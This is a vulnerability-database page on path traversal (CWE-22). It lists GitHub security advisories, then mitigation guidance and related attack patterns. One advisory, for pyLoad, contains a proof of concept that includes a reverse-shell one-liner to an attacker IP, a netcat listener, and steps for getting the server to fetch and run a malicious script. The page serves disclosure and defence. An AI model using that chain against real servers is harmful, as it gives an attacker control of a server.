CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13242 vulnerabilities reference this CWE, most recent first.
GHSA-H722-7Q5C-H273
Vulnerability from github – Published: 2025-12-05 15:30 – Updated: 2025-12-05 18:31Directory traversal vulnerability in Fanvil x210 V2 2.12.20 allows unauthenticated attackers on the local network to store files in arbitrary locations and potentially modify the system configuration or other unspecified impacts.
{
"affected": [],
"aliases": [
"CVE-2025-64057"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-05T15:15:51Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in Fanvil x210 V2 2.12.20 allows unauthenticated attackers on the local network to store files in arbitrary locations and potentially modify the system configuration or other unspecified impacts.",
"id": "GHSA-h722-7q5c-h273",
"modified": "2025-12-05T18:31:10Z",
"published": "2025-12-05T15:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64057"
},
{
"type": "WEB",
"url": "https://github.com/SpikeReply/advisories/blob/main/cve/fanvil/cve-2025-64057.md"
},
{
"type": "WEB",
"url": "http://fanvil.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H72M-M9R4-R78C
Vulnerability from github – Published: 2025-08-01 21:31 – Updated: 2025-08-01 21:31A path traversal vulnerability exists in the Netgear SPH200D Skype phone firmware versions <= 1.0.4.80 in its embedded web server. Authenticated attackers can exploit crafted GET requests to access arbitrary files outside the web root by injecting traversal sequences. This can expose sensitive system files and configuration data.
{
"affected": [],
"aliases": [
"CVE-2013-10063"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-01T21:15:28Z",
"severity": "MODERATE"
},
"details": "A path traversal vulnerability exists in the Netgear SPH200D Skype phone firmware versions \u003c= 1.0.4.80 in its embedded web server. Authenticated attackers can exploit crafted GET requests to access arbitrary files outside the web root by injecting traversal sequences.\u00a0This can expose sensitive system files and configuration data.",
"id": "GHSA-h72m-m9r4-r78c",
"modified": "2025-08-01T21:31:07Z",
"published": "2025-08-01T21:31:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-10063"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20130207034706/http://www.s3cur1ty.de/m1adv2013-002"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/24441"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/netgear-sph200d-path-traversal-via-http-get"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-H72Q-QRFJ-HP58
Vulnerability from github – Published: 2022-05-13 01:30 – Updated: 2025-04-11 03:37Directory traversal vulnerability in Piwik 0.6 through 0.6.3 allows remote attackers to include arbitrary local files and possibly have unspecified other impact via directory traversal sequences in a crafted data-renderer request.
{
"affected": [],
"aliases": [
"CVE-2010-2786"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-08-02T22:00:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in Piwik 0.6 through 0.6.3 allows remote attackers to include arbitrary local files and possibly have unspecified other impact via directory traversal sequences in a crafted data-renderer request.",
"id": "GHSA-h72q-qrfj-hp58",
"modified": "2025-04-11T03:37:52Z",
"published": "2022-05-13T01:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-2786"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/60808"
},
{
"type": "WEB",
"url": "http://marc.info/?l=oss-security\u0026m=128032989120346\u0026w=2"
},
{
"type": "WEB",
"url": "http://marc.info/?l=oss-security\u0026m=128041221832498\u0026w=2"
},
{
"type": "WEB",
"url": "http://piwik.org/blog/2010/07/piwik-0-6-4-security-advisory"
},
{
"type": "WEB",
"url": "http://piwik.org/changelog"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/40703"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/66759"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/42031"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2010/1971"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-H732-P2M3-2QXG
Vulnerability from github – Published: 2024-11-23 09:33 – Updated: 2024-11-23 09:33The MP3 Sticky Player plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 8.0 via the content/downloader.php file. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. Please note the vendor released the patched version as the same version as the affected version.
{
"affected": [],
"aliases": [
"CVE-2024-10803"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-23T08:15:03Z",
"severity": "HIGH"
},
"details": "The MP3 Sticky Player plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 8.0 via the content/downloader.php file. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. Please note the vendor released the patched version as the same version as the affected version.",
"id": "GHSA-h732-p2m3-2qxg",
"modified": "2024-11-23T09:33:45Z",
"published": "2024-11-23T09:33:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10803"
},
{
"type": "WEB",
"url": "https://codecanyon.net/item/mp3-sticky-player-wordpress-plugin/7930491"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3bcd4675-e930-44d9-8278-c4c9e877656a?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H734-8JRM-GJJR
Vulnerability from github – Published: 2023-06-28 06:30 – Updated: 2024-04-04 05:13Directory traversal vulnerability in Snow Monkey Forms versions v5.1.0 and earlier allows a remote unauthenticated attacker to delete arbitrary files on the server.
{
"affected": [],
"aliases": [
"CVE-2023-32623"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-28T05:15:10Z",
"severity": "CRITICAL"
},
"details": "Directory traversal vulnerability in Snow Monkey Forms versions v5.1.0 and earlier allows a remote unauthenticated attacker to delete arbitrary files on the server.",
"id": "GHSA-h734-8jrm-gjjr",
"modified": "2024-04-04T05:13:57Z",
"published": "2023-06-28T06:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32623"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN97127032"
},
{
"type": "WEB",
"url": "https://snow-monkey.2inc.org/2023/06/22/snow-monkey-forms-v5-1-1"
},
{
"type": "WEB",
"url": "https://snow-monkey.2inc.org/2023/07/14/snow-monkey-forms-v5-1-2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H73M-PCFW-25H2
Vulnerability from github – Published: 2023-11-21 22:19 – Updated: 2024-01-08 22:14Summary
A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.
Details
When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.
src/pyload/core/api/init.py::add_package::L432
folder = (
folder.replace("http://", "")
.replace("https://", "")
.replace(":", "")
.replace("/", "_")
.replace("\\", "_")
)
So if a package were created with the name "../" the application would instead create the folder "/downloads/.._/"
However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.
src/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195
id = int(flask.request.form["pack_id"])
data = {
"name": flask.request.form["pack_name"],
"_folder": flask.request.form["pack_folder"],
"password": flask.request.form["pack_pws"],
}
api.set_package_data(id, data)
Steps to reproduce
- Login to a pyLoad instance
- Go to "Queue" and create a new package with any name and a valid link
- Click "Edit Package" on the newly created package and set the folder as "/config/scripts/download_finished/"
- Restart the package
- Check the server filesystem and note the link was downloaded and stored inside "/config/scripts/download_finished/"
Remote code execution proof-of-concept
It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.
On attacker machine
- Start a web server hosting a malicious script
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<attacker_ip>/9999 0>&1' > evil.sh&1
sudo python3 -m http.server 80
- Start netcat listener for reverse shells
bash
nc -vklp 9999
On pyLoad
-
Change pyLoad file permission settings
Change permissions of downloads: On Permission mode for downloaded files: 0744
-
Create a package with link pointing to the attacker
http:///evil.sh
-
Edit package and change folder to /config/scripts/package_deleted/
-
Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad
-
Delete any package package to trigger the script
Impact
An authenticated user can gain control over the underlying pyLoad server.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.0b3.dev75"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-47890"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2023-11-21T22:19:10Z",
"nvd_published_at": "2024-01-08T20:15:44Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.\n\n### Details\n\nWhen a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can\u0027t traverse directories and stays within /downloads.\n\nsrc/pyload/core/api/__init__.py::add_package::L432\n\n```python\n folder = (\n folder.replace(\"http://\", \"\")\n .replace(\"https://\", \"\")\n .replace(\":\", \"\")\n .replace(\"/\", \"_\")\n .replace(\"\\\\\", \"_\")\n )\n```\n\nSo if a package were created with the name ```\"../\"``` the application would instead create the folder ```\"/downloads/.._/\"```\n\nHowever, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.\n\nsrc/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195\n\n```python\n id = int(flask.request.form[\"pack_id\"])\n data = {\n \"name\": flask.request.form[\"pack_name\"],\n \"_folder\": flask.request.form[\"pack_folder\"],\n \"password\": flask.request.form[\"pack_pws\"],\n }\n\n api.set_package_data(id, data)\n```\n\n### Steps to reproduce\n\n1. Login to a pyLoad instance\n2. Go to \"Queue\" and create a new package with any name and a valid link\n3. Click \"Edit Package\" on the newly created package and set the folder as \"/config/scripts/download_finished/\"\n4. Restart the package \n5. Check the server filesystem and note the link was downloaded and stored inside \"/config/scripts/download_finished/\"\n\n### Remote code execution proof-of-concept\n\nIt is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.\n\n#### On attacker machine\n\n1. Start a web server hosting a malicious script\n\n```bash\necho -e \u0027#!/bin/bash\\nbash -i \u003e\u0026 /dev/tcp/\u003cattacker_ip\u003e/9999 0\u003e\u00261\u0027 \u003e evil.sh\u00261\nsudo python3 -m http.server 80\n```\n\n\n2. Start netcat listener for reverse shells\n\n ```bash\n nc -vklp 9999\n ```\n\n#### On pyLoad\n\n1. Change pyLoad file permission settings\n\n Change permissions of downloads: On\n Permission mode for downloaded files: 0744\n\n2. Create a package with link pointing to the attacker\n\n http://\u003cattacker_ip\u003e/evil.sh\n\n3. Edit package and change folder to /config/scripts/package_deleted/\n\n4. Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad\n\n5. Delete any package package to trigger the script\n\n### Impact\n\nAn authenticated user can gain control over the underlying pyLoad server.",
"id": "GHSA-h73m-pcfw-25h2",
"modified": "2024-01-08T22:14:13Z",
"published": "2023-11-21T22:19:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-h73m-pcfw-25h2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47890"
},
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/commit/695bb70cd88608dc4fee18a6a7ecb66722ebfd8f"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
},
{
"type": "WEB",
"url": "http://pyload.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Download to arbitrary folder can lead to RCE"
}
GHSA-H73R-4785-F9HP
Vulnerability from github – Published: 2022-05-13 01:33 – Updated: 2022-05-13 01:33IBM QRadar Incident Forensics 7.2 and 7.3 could allow a remote attacker to traverse directories on the system. An attacker could send a specially-crafted URL request containing "dot dot" sequences (/../) to view arbitrary files on the system. IBM X-Force ID: 144655.
{
"affected": [],
"aliases": [
"CVE-2018-1649"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-05T13:29:00Z",
"severity": "MODERATE"
},
"details": "IBM QRadar Incident Forensics 7.2 and 7.3 could allow a remote attacker to traverse directories on the system. An attacker could send a specially-crafted URL request containing \"dot dot\" sequences (/../) to view arbitrary files on the system. IBM X-Force ID: 144655.",
"id": "GHSA-h73r-4785-f9hp",
"modified": "2022-05-13T01:33:00Z",
"published": "2022-05-13T01:33:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1649"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/144655"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/docview.wss?uid=ibm10729703"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H73X-4WXR-7F79
Vulnerability from github – Published: 2024-09-16 14:37 – Updated: 2024-09-16 14:37A vulnerability, which was classified as problematic, has been found in xiaohe4966 TpMeCMS up to 1.3.3.1. Affected by this issue is some unknown functionality of the file /index/ajax/lang. The manipulation of the argument lang leads to path traversal. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.3.3.2 is able to address this issue. It is recommended to upgrade the affected component.
{
"affected": [],
"aliases": [
"CVE-2024-8876"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-15T22:15:10Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as problematic, has been found in xiaohe4966 TpMeCMS up to 1.3.3.1. Affected by this issue is some unknown functionality of the file /index/ajax/lang. The manipulation of the argument lang leads to path traversal. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.3.3.2 is able to address this issue. It is recommended to upgrade the affected component.",
"id": "GHSA-h73x-4wxr-7f79",
"modified": "2024-09-16T14:37:28Z",
"published": "2024-09-16T14:37:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8876"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.277508"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.277508"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.404560"
},
{
"type": "WEB",
"url": "https://wiki.shikangsi.com/post/share/12da81ed-2dad-4a75-9b1a-db9afe1e7b7b"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-H747-Q33X-7XXP
Vulnerability from github – Published: 2024-07-05 18:34 – Updated: 2024-11-18 21:30MyPower vc8100 V100R001C00B030 was discovered to contain an arbitrary file read vulnerability via the component /tcpdump/tcpdump.php?menu_uuid.
{
"affected": [],
"aliases": [
"CVE-2024-39178"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-05T17:15:11Z",
"severity": "MODERATE"
},
"details": "MyPower vc8100 V100R001C00B030 was discovered to contain an arbitrary file read vulnerability via the component /tcpdump/tcpdump.php?menu_uuid.",
"id": "GHSA-h747-q33x-7xxp",
"modified": "2024-11-18T21:30:43Z",
"published": "2024-07-05T18:34:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39178"
},
{
"type": "WEB",
"url": "https://github.com/WarmBrew/web_vul/blob/main/CVES/CVE-2024-39178.md"
},
{
"type": "WEB",
"url": "https://github.com/WarmBrew/web_vul/blob/main/Maipu/MyPower%20vc8100/MyPower_vc8100.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H748-PV4X-H2JC
Vulnerability from github – Published: 2022-05-17 01:49 – Updated: 2022-05-17 01:49Directory traversal vulnerability in phpShowtime 2.0 allows remote attackers to list arbitrary directories and image files via a .. (dot dot) in the r parameter to index.php. NOTE: Some of these details are obtained from third party information.
{
"affected": [],
"aliases": [
"CVE-2012-0981"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-02-02T17:55:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in phpShowtime 2.0 allows remote attackers to list arbitrary directories and image files via a .. (dot dot) in the r parameter to index.php. NOTE: Some of these details are obtained from third party information.",
"id": "GHSA-h748-pv4x-h2jc",
"modified": "2022-05-17T01:49:17Z",
"published": "2022-05-17T01:49:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-0981"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/72824"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/47802"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/18435"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.